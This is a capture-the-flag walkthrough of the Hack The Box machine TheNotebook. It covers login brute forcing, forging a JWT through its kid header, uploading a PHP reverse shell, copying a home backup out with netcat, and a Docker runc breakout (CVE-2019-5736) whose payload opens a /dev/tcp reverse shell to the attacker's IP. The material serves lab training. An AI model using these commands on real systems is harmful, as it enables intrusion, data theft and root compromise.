HTB - TheNotebook
URL: https://app.hackthebox.eu/machines/320
IP: 10.10.10.230
Completed on: July 8, 2021
Time to Complete: 1.5 hours
OS: Linux
Difficulty: Medium
Summary
The Hack The Box machine, TheNotebook, allows us to explore misconfigurations within JWT tokens, which chained with an unrestricted file upload of php files, allows remote access to the machine. From here, I had to first privilege escalate to a user, which could be done by improper access control to the /var/backups
directory, which led to access to ssh keys of the user. To get root privileges on the machine, I identified an older version of docker binary being utilized and per a misconfigured sudo privileges I was able to exploit CVE-2019-5736.
Enumeration
Full Port Scan
Nmap command: nmap -p 0-65535 --min-rate=1000 -T4 10.10.10.230
Output:
Nmap scan report for notebook.htb (10.10.10.230)
Host is up (0.029s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10010/tcp filtered rxapi
Version and Default Script Scan
Nmap command: nmap -T4 -sV -sC -p 22,80,10010 10.10.10.230
Output:
Nmap scan report for notebook.htb (10.10.10.230)
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 - Nginx server
Manual Interaction
Navigating to the site (http://10.10.10.230/), I am redirected to /login
path and asked to login:
Inserting random username and password, I am able to identify valid usernames through the login error messages. Through this, I identified that admin
was a valid username:
To check if I can attempt a brute force attack, I attempted to pass several passwords for admin
account and there was no account lockout in place. Looking over the source code, I can identify that a POST request is being sent with credentials passed through the HTTP request body:
Directory Brute Force
Using gobuster, I attempted a directory brute force attack and identified four files under the web root directory:
Command: gobuster dir -u http://10.10.10.230/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
Output:
/admin (Status: 403) [Size: 9]
/login (Status: 200) [Size: 1250]
/logout (Status: 302) [Size: 209] [--> http://10.10.10.230/]
/register (Status: 200) [Size: 1422]
With the found assets I moved to the attack stage to get initial access to the machine.
Initial Foothold
Login Brute Force
I used the following hydra command to attempt to brute force the password:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.230 http-post-form "/login:username=^USER^&password=^PASS^:Incorrect Password"
After ~15m, no valid passwords were found.
Account Registration
Routing to /register
file, I was prompted to register an account. I registered a test account ([email protected]
:test
) and was given a JSON Web Token cookie.
Placing the web token into https://jwt.io to see the decoded output, I identified there is a payload element for admin_cap
and header element for kid
(Key ID Header).
JWT overwrite
Looking over Ishara’s Medium post about exploiting kid to privilege escalate, I identified that the key ID is used to encode the JWS (JSON Web Signature). Since it’s pointing to localhost, I can supply my own private key and set admin_cap
to true.
openssl genrsa -out privKey.key 2048
cat privKey.key | xclip -selection c #Places content of private key to clipboard
python3 -m http.server 7070
Now in jwt.io I swapped the kid
, admin_cap
, and paste the content of our private_key. This will generate a valid encoded JWT on the left:
Now I copied the encoded JWT and overwrote the JWT cookie using Dev Tools. After refreshing the page, I got access to the Admin Panel:
Enumerating Admin Panel
Enumerating the admin panel I identified the following things:
- Site allows PHP execution.
- Site has regular backups
- Valid users: noah (61c9fba6-7434-4edd-845b-0f5156ae6bf7), admin (83b34009-7124-498b-b355-2ea95c512eb8)
- Valid fullname: Nicholas Sparks (noah)
- Site allows file upload
Reverse PHP Shell
Using the file upload function, I created, modified, and uploaded a reverse shell php and captured it using netcat:
cp /usr/share/webshells/php/php-reverse-shell.php revshell.php
vim revshell.php
sudo nc -nlvp 443
I got access to www-data
account, enumerating valid usernames, I found noah
and root
are valid accounts.
Privilege Escalation to Noah
Backups
Reviewing backup files, I see that /home
has a backup that we can read within /var/backups
, I sent this to my kali box using netcat:
# Local Machine
nc -nvlp 9090 > home.tar.gz
# Remote Machine
cd /var/backups
nc -w 3 10.10.16.26 9090 < home.tar.gz
Decompressing home backup
After decompressing the file (tar -xf
), we get access to noah’s home directory. Which has an ssh private and public key. Let’s use this to ssh as noah:
cp home/noah/.ssh/id_rsa .
ssh -i id_rsa [email protected]
Now we have ssh access as noah. Let’s proceed to privilege escalate.
Privilege Escalation to root
Sudo privileges
Running a few basic enumeration commands, we identify that noah
can run a certain command as root: (sudo -l
)
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
Running docker --version
we can verify that docker is running on an older version (newest is 20.10), which has a known breakout vulnerability (CVE-2019-5736) which requires sudo docker exec
access:
Docker version 18.06.0-ce, build 0ffa825
CVE-2019-5736
More details on the vulnerably can be found in Palo Alto.
Following https://github.com/Frichetten/CVE-2019-5736-PoC , we will create a sh
binary that will overwrite /bin/sh on the docker instance. This will let us elevate to a root shell.
# Local Machine - Window 1
wget https://raw.githubusercontent.com/Frichetten/CVE-2019-5736-PoC/master/main.go
vim main.go
# Edit the following line:
# var payload = "#/bin/bash \n bash -i >& /dev/tcp/10.10.16.26/443 0>&1"
go build main.go
python3 -m http.server 8000
# Local Machine - Window 2
nc -nvlp 443
# Remote Machine - Window 1
sudo docker exec -it webapp-dev01 bash
cd /tmp
wget 10.10.16.26:8000/main # REPLACE with your IP
chmod +x main
./main
# Expected Output:
# [+] Overwritten /bin/sh successfully
# [+] Found the PID: 7993
# [+] Successfully got the file handle
# [+] Successfully got write handle &{0xc000392060}
# Remote Machine - Window 2
sudo docker exec -it webapp-dev01 /bin/sh # This make
A root reverse shell was captured through netcat and I got access to root
user.